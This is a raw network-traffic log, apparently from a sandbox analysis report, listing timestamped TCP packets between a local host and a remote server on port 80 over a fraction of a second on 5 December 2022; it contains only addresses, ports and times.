Dec 5, 2022 06:44:45.945589066 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.945631981 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.945663929 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.945688009 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.945707083 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.945749998 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.945780039 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.945822001 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.945830107 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.945864916 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.945894957 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.945935011 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.945945978 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.945981026 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.946011066 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.946053028 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.946074009 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.946096897 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.946126938 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.946167946 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.946188927 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.946211100 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.946240902 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.946268082 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.946285963 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.946329117 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.946362972 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.946396112 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.946405888 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.946448088 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.946476936 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.946511030 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.946517944 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.946563005 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.946594000 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.946634054 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.946676016 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.946695089 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.946707964 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.946748972 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.946748972 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.946791887 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.946821928 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.946861982 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.946928024 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.946959019 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.946997881 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.947006941 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.947006941 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.947041035 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.947072029 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.947113991 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.947118998 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.947156906 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.947185993 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.947221041 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.947227001 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.947273016 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.947302103 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.947335005 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.947345972 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.947390079 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.947417974 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.947458982 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.947469950 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.947499990 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.947529078 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.947568893 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.947578907 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.947612047 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.947640896 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.947668076 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.947685003 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.947726011 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.947757006 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.947788954 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.947798967 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.947850943 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.947880030 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.947912931 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.947921038 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.947963953 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.947993994 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.948035002 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.948067904 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.948079109 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.948112011 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.948153973 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.948183060 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.948196888 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.948227882 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.948271990 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.948287964 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.948314905 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.948343992 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.948385954 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.948391914 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.948438883 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.948471069 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.948515892 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.948543072 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.948559999 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.948590994 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.948632956 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.948673964 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.948657036 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.948704004 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.948745012 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.948764086 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.948786974 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.948818922 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.948860884 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.948874950 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.948901892 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.948930979 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.948966026 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.948971987 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.949016094 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.949045897 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.949088097 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.949103117 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.949131012 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.949162960 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.949203968 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.949207067 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.949244976 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.949276924 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.949305058 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.949316978 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.949359894 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.949388027 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.949419975 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.949430943 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.949476004 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.949506998 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.949543953 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.949549913 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.949593067 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.949621916 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.949662924 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.949681997 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.949704885 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.949734926 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.949768066 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.949788094 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.949841976 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.949872971 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.949911118 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.949913979 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.949956894 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.949985981 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.950026989 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.950047970 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.950067997 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.950100899 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.950140953 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.950146914 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.950184107 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.950213909 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.950253963 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.950253963 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.950298071 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.950326920 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.950359106 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.950368881 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.950412035 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.950440884 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.950474977 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.950481892 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.950526953 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.950556040 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.950576067 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.950598001 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.950645924 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.950675964 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.950716019 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.950736046 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.950757980 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.950787067 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.950809002 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.950932980 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.950980902 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.951014042 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.951050043 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.951056004 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.951103926 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.951133966 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.951175928 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.951191902 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.951217890 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.951248884 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.951292992 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.951297045 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.951335907 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.951368093 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.951409101 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.951430082 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.951452017 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.951483011 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.951510906 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.951524973 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.951567888 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.951598883 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.951641083 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.951663971 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.951684952 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.951718092 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.951759100 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.951778889 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.951802969 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.951833963 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.951874971 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.951889038 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.951916933 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.951946974 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.951988935 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.952007055 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.952033043 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.952063084 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.952104092 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.952125072 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.952145100 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.952184916 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.952202082 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.952210903 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.952236891 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.952256918 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.952284098 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.952308893 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.952315092 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.952327967 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.952354908 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.952379942 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.952383041 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.952400923 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.952426910 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.952438116 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.952454090 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.952472925 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.952500105 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.952526093 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.952544928 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.952548027 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.952569962 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.952594995 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.952594995 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.952616930 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.952641964 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.952661991 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.952668905 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.952687979 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.952713966 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.952723026 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.952739954 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.952759027 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.952785015 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.952811956 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.952816963 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.952831984 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.952857018 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.952882051 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.952886105 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.952902079 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.952928066 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.952953100 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.952956915 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.952970982 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.952996969 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953025103 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953026056 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.953043938 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953068018 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953087091 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.953094959 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953114986 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953140020 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953166008 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953172922 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.953186035 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953213930 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953241110 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953249931 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.953260899 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953288078 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953313112 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953316927 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.953330994 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953357935 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953368902 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.953385115 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953406096 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953430891 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953454971 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953460932 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.953474045 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953500032 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953525066 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953526020 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.953543901 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953571081 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953596115 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953602076 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.953617096 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953643084 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953668118 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953670979 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.953687906 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953711987 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953737974 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953738928 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.953756094 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953780890 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953797102 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.953819036 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953838110 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953861952 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953887939 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953897953 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.953907013 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953934908 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953953981 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.953962088 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.953980923 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954005003 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954016924 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.954031944 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954052925 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954080105 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954091072 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.954106092 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954124928 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954150915 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954155922 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.954176903 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954204082 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954225063 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954231024 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.954251051 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954255104 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.954281092 CET	80	49705	104.193.254.97	192.168.2.3
